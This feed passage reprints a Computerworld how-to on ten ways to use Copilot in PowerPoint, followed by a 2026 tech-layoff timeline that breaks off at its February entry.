<title><![CDATA[10 cool things Copilot can do in PowerPoint]]></title>
<description><![CDATA[Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are vis...]]></description>
<link>https://tsecurity.de/de/3694773/ai-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694773/ai-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:10 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.</p>



<p class="wp-block-paragraph">In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.</p>



<h3 class="wp-block-heading">Who can use Copilot in PowerPoint</h3>



<p class="wp-block-paragraph">Individuals with a <a href="https://www.microsoft.com/en-us/microsoft-365-copilot/pricing/individuals" target="_blank" rel="noreferrer noopener">Microsoft 365 Personal, Family, or Premium</a> subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have <a href="https://support.microsoft.com/en-US/Microsoft-365-Copilot/ai-credits-and-limits-for-microsoft-365-subscriptions" target="_blank" rel="noreferrer noopener">higher Copilot usage allowances</a> and access to advanced AI features.</p>



<p class="wp-block-paragraph">For business users, it’s more complicated. Organizations with more than 2,000 users must pay for <a href="https://www.computerworld.com/article/1629974/m365-copilot-microsofts-generative-ai-tool-explained.html">Microsoft 365 Copilot</a> licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are <a href="https://support.microsoft.com/en-us/microsoft-365-copilot/how-copilot-chat-works-with-and-without-a-microsoft-365-copilot-license" target="_blank" rel="noreferrer noopener">limitations</a> in usage, speed, and feature availability.</p>



<p class="wp-block-paragraph">To see what kind of access you have, log in to Microsoft’s <a href="https://m365.cloud.microsoft/" target="_blank" rel="noreferrer noopener">Copilot Chat web hub</a> and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.</p>



<p class="wp-block-paragraph"><em>(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our <a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat tutorial</a> for details.)</em></p>



<h4 class="wp-block-heading"><strong>In this article:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#sidebar">Working with Copilot in PowerPoint</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#template">Create a presentation template</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#pres-from-doc">Create a presentation from a document</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#slide-from-doc">Add content from a document to a slide</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#refine-text">Refine your slide text</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#image">Find or create an image</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#expand">Expand your presentation with relevant slides</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#summarize">Summarize a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#answer-questions">Answer questions about a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#navigate">Help you navigate a large presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#speaker-notes">Generate speaker notes and/or an FAQ</a></li>
</ul>



<h2 class="wp-block-heading">Working with Copilot in PowerPoint</h2>



<p class="wp-block-paragraph">First, let’s quickly go over the notable settings of the Copilot sidebar.</p>



<p class="wp-block-paragraph">When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-01-sidebar.png?w=1024" alt="powerpoint screen with copilot sidebar open on right" class="wp-image-4195065" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The sidebar on the right is where you interact with Copilot in PowerPOint.</p><br></figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph"><strong>Agent mode:</strong> By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the <em>Allow editing</em> button above the chat window and change it to <em>Chat only</em>.</p>



<p class="wp-block-paragraph">The tips in this guide require that Copilot be in agent mode, so make sure you see <em>Allow editing</em> above the chat window.</p>



<p class="wp-block-paragraph"><strong>Choice of AI model:</strong> Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT.  By default, it decides which model to use based on your prompt. You can set it to use a particular model: click <em>Auto</em> at the upper right of the Copilot pane and select a model from the dropdown that opens.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-02-sidebar-model-dropdown.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with models dropdown menu open" class="wp-image-4195063" width="1024" height="697" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>You can choose which AI model you want Copilot to use for a request.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">The tips in this guide should work fine on the default <em>Auto</em> setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.</p>



<p class="wp-block-paragraph"><strong>Important:</strong> Remember that <a href="https://www.computerworld.com/article/4059383/openai-admits-ai-hallucinations-are-mathematically-inevitable-not-just-engineering-flaws.html">generative AI output often includes errors</a>, so always check Copilot’s output for accuracy. (Also see our <a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">tips for reducing hallucinations in Copilot</a>.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.</p>



<h2 class="wp-block-heading"><a></a>1. Create a presentation template</h2>



<p class="wp-block-paragraph">For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.</p>



<p class="wp-block-paragraph">Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.</p>



<p class="wp-block-paragraph">A good prompt should contain the slide count, subject, audience, and tone. Example:</p>



<ul class="wp-block-list">
<li><em>Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-03-generated-presentation-with-placeholder-data.png?w=1024" alt="screenshot of powerpoint presentation generated by copilot with placeholder data" class="wp-image-4195064" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot generates a presentation with placeholder data and explains its elements.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.</p>



<h2 class="wp-block-heading"><a></a>2. Create a presentation from a document</h2>



<p class="wp-block-paragraph">You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.</p>



<p class="wp-block-paragraph">Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, click the <em>+</em> icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-04-attach-document.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with a document being attached for copilot to base a presentation on" class="wp-image-4195062" width="1024" height="733" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Attaching a document for Copilot to base a presentation on.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Then in the chat window, you can enter a prompt that’s as simple as “<em>Create a presentation</em>,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.</p>



<p class="wp-block-paragraph">Answer any follow-up questions that Copilot asks, and it will then generate the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-05-generated-presentation-from-doc.png?w=1024" alt="screenshot of powerpoint with a presentation generated by copilot from a document" class="wp-image-4195067" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot has generated a professional presentation from a social media marketing campaign document.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note: Your marketing department may have created one or more <a href="https://support.microsoft.com/en-US/PowerPoint/copilot/keep-your-presentation-on-brand-with-copilot" target="_blank" rel="noreferrer noopener">branded company templates for Copilot to work from</a>. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.</p>



<h2 class="wp-block-heading"><a></a>3. Add content from a document to a slide</h2>



<p class="wp-block-paragraph">Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:</p>



<ul class="wp-block-list">
<li><em>Add a slide based on the attached document.</em></li>



<li><em>Use the attached file to add a slide about the project budget that focuses on Q1 projections.</em></li>



<li><em>Summarize only the financial section of the attached document as a slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-06-generated-slide-from-spreadsheet.png?w=1024" alt="screenshot of a slide in powerpoint generated by copilot from spreadsheet data" class="wp-image-4195068" width="1024" height="612" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A new Copilot-generated slide based on data from an Excel spreadsheet.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a><a></a>4. Refine your slide text</h2>



<p class="wp-block-paragraph">A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.</p>



<p class="wp-block-paragraph">You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click <em>Edit with Copilot</em>.</p>



<p class="wp-block-paragraph">On the menu that opens, you can select a preset prompt to refine the text, such as <em>Condense</em> or <em>Make professional</em>. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-07-refine-slide-text-options-menu.png" alt="screenshot of text on a powerpoint slide with copilot dropdown menu includng condense and make professional options" class="wp-image-4195066" width="960" height="690" sizes="auto, (max-width: 960px) 100vw, 960px"><figcaption class="wp-element-caption"><p>Choose a preset prompt for refining text on a slide or type in your own prompt.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.</p>



<p class="wp-block-paragraph">Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:</p>



<ul class="wp-block-list">
<li><em>Make these slides more visual and use less text.</em></li>
</ul>



<h2 class="wp-block-heading">5. Find or create an image</h2>



<p class="wp-block-paragraph">If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.</p>



<p class="wp-block-paragraph">To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:</p>



<ul class="wp-block-list">
<li><em>Add a stock photo of young adults in a cafe drinking boba tea.</em></li>



<li><em>Add a photo from our asset library of young adults in a cafe drinking boba tea.</em></li>
</ul>



<p class="wp-block-paragraph">To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:</p>



<ul class="wp-block-list">
<li><em>Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-08-generate-image.png?w=1024" alt="screenshot of image generation prompt in copilot sidebar in powerpoint plus the resulting generated image on a slide" class="wp-image-4195097" width="1024" height="594" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off. </p>



<p class="wp-block-paragraph">Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.</p>



<h2 class="wp-block-heading"><a></a>6. Expand your presentation with relevant slides</h2>



<p class="wp-block-paragraph">As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:</p>



<ul class="wp-block-list">
<li><em>Add a slide after slide 3 about our competitive advantages.</em></li>



<li><em>Add a slide after slide 11 that transitions to slide 12.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-09-generated-transition-slide.png?w=1024" alt="screenshot of powerpoint screen with copilot sidebar and a transition slide generated by copilot" class="wp-image-4195094" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Need a transition slide? Just ask!</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading">7. Summarize a presentation</h2>



<p class="wp-block-paragraph">Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.</p>



<p class="wp-block-paragraph">In the Copilot pane, just type “<em>summarize this presentation</em>.” You can also have Copilot flag key slides that contain important information: “<em>show me key slides</em>.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-10-summarize-key-slides.png?w=1024" alt="screenshots of copilot sidebar in powerpoint - one with summarize results and one with key slides response" class="wp-image-4195095" width="1024" height="774" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot to summarize a presentation or flag key slides.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>8. Answer questions about a presentation</h2>



<p class="wp-block-paragraph">As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, type specific informational questions. Examples:</p>



<ul class="wp-block-list">
<li><em>What are the action items in this deck?</em></li>



<li><em>What is the proposed budget mentioned here?</em></li>
</ul>



<p class="wp-block-paragraph">If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-11-ask-questions-about-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response to query about proposed budget in the slide deck" class="wp-image-4195093" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot specific questions about the contents of a presentation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)</p>



<p class="wp-block-paragraph">You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.</p>



<h2 class="wp-block-heading"><a></a>9. Help you navigate a large presentation</h2>



<p class="wp-block-paragraph">In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:</p>



<ul class="wp-block-list">
<li><em>Show me the slides about the project timeline.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-12-navigate-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response about the slide that talks about target audience" class="wp-image-4195096" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>10. Generate speaker notes and/or an FAQ</h2>



<p class="wp-block-paragraph">Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:</p>



<ul class="wp-block-list">
<li><em>Write speaker notes for every slide with one talking point per slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-13-speaker-notes.png?w=1024" alt="screenshot of powerpoint presentation with speaker notes generated by copilot" class="wp-image-4195092" width="1024" height="607" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can create speaker notes in seconds.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:</p>



<ul class="wp-block-list">
<li><em>Write an FAQ for these slides.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-14-generated-faq-slide.png?w=1024" alt="screenshot of frequently asked questions slide generated by copilot in powerpoint" class="wp-image-4195091" width="1024" height="609" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A Copilot-generated FAQ slide.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h4 class="wp-block-heading"><strong>Related reading:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4119411/11-cool-things-copilot-can-do-in-excel.html">11 cool things Copilot can do in Excel</a></li>



<li><a href="https://www.computerworld.com/article/4022584/9-ways-copilot-can-turbocharge-onenote.html">9 ways Copilot can turbocharge OneNote</a></li>



<li><a href="https://www.computerworld.com/article/1647230/powerpoint-for-microsoft-365-cheat-sheet.html">PowerPoint for Microsoft 365 cheat sheet</a></li>



<li><a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat: Your hub for document creation and analysis</a></li>



<li><a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">How to curb hallucinations in Copilot (and other genAI tools)</a></li>



<li><a href="https://www.computerworld.com/article/3479705/how-to-use-microsoft-copilot-for-writing-in-microsoft-365-word-outlook-onenote.html">Microsoft Copilot can boost your writing in Word, Outlook, and OneNote — here’s how</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html">More Microsoft tips and tutorials</a></li>
</ul>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tech layoffs: A 2026 timeline]]></title>
<description><![CDATA[Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented ev...]]></description>
<link>https://tsecurity.de/de/3694770/ai-nachrichten/tech-layoffs-a-2026-timeline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694770/ai-nachrichten/tech-layoffs-a-2026-timeline/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:08 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.</p>



<p class="wp-block-paragraph">But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.</p>



<p class="wp-block-paragraph">According to data compiled by <a href="https://layoffs.fyi/" target="_blank" rel="noreferrer noopener">Layoffs.fyi</a>, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.</p>



<p class="wp-block-paragraph">Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.</p>



<h2 class="wp-block-heading">Notable tech layoffs in 2026</h2>



<ul class="wp-block-list">
<li>Monday.com</li>



<li>Microsoft</li>



<li>Meta</li>



<li>Cisco</li>



<li>Cloudflare</li>



<li>Oracle</li>



<li>Atlassian </li>



<li>Salesforce</li>



<li>Amazon</li>



<li>Ericsson</li>
</ul>



<h3 class="wp-block-heading">July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era</h3>



<p class="wp-block-paragraph">The company says the decision to <a href="https://www.computerworld.com/article/4200349/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era-2.html">cut 620 jobs</a> isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.</p>



<h3 class="wp-block-heading">July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams</h3>



<p class="wp-block-paragraph">As the company <a href="https://www.computerworld.com/article/4193532/microsoft-bets-that-enterprise-ai-needs-engineers-not-bigger-sales-teams-2.html" target="_blank">trims thousands of jobs</a>, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees <a href="https://www.computerworld.com/article/4163188/microsoft-to-offer-voluntary-retirement-buyouts-to-about-7-of-the-us-workforce.html">voluntary retirement buyouts</a>.</p>



<h3 class="wp-block-heading">June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024</h3>



<p class="wp-block-paragraph">AI was blamed for 40% of <a href="https://www.computerworld.com/article/4181822/tech-industry-cut-38242-jobs-in-may-worst-since-2024.html">the job cuts in May</a>, up from 7% in January, according to research by employment placement company Challenger, Gray &amp; Christmas.</p>



<h3 class="wp-block-heading">May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce</h3>



<p class="wp-block-paragraph">The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, <a href="https://tech.yahoo.com/general/article/meta-starts-cutting-8000-jobs-as-part-of-previously-announced-layoffs-145220586.html" target="_blank" rel="noreferrer noopener">according to Yahoo Tech</a>.</p>



<h3 class="wp-block-heading">May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking</h3>



<p class="wp-block-paragraph">Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will <a href="https://www.networkworld.com/article/4171043/cisco-to-cut-nearly-4000-jobs-despite-strong-growth-in-ai-enterprise-networking.html" target="_blank">eliminate almost 4,000 jobs</a>.</p>



<h3 class="wp-block-heading">May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring</h3>



<p class="wp-block-paragraph">About <a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-cut-over-1-100-204726989.html" target="_blank" rel="noreferrer noopener">20% of Cloudflare’s global workforce will be culled</a> as the company pivots for the agentic AI era, Reuters reported.</p>



<h3 class="wp-block-heading">April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4153113/oracle-cuts-up-to-30000-jobs-globally-putting-enterprise-support-and-roadmaps-at-risk.html">Oracle began laying off employees</a> on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. <em>(Note: in June, CNBC put the <a href="https://www.cnbc.com/2026/06/23/oracle-ai-job-cuts-layoffs-21000.html" target="_blank" rel="noreferrer noopener">final layoff tally at 21,000</a>.)</em></p>



<h3 class="wp-block-heading">March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4144218/atlassian-cuts-1600-jobs-to-fund-ai-and-enterprise-expansion.html">Atlassian will reduce its global workforce</a> by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.</p>



<h3 class="wp-block-heading">March 11, 2026: Tech layoffs surpass 45,000 in early 2026</h3>



<p class="wp-block-paragraph">A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing <a href="https://www.networkworld.com/article/4143749/tech-layoffs-surpass-45000-in-early-2026.html" target="_blank">workforce cuts even as many tech companies report strong revenue growth</a>.</p>



<h3 class="wp-block-heading">February 10, 2026: Salesforce lays off staffers as executive leadership churn continues</h3>



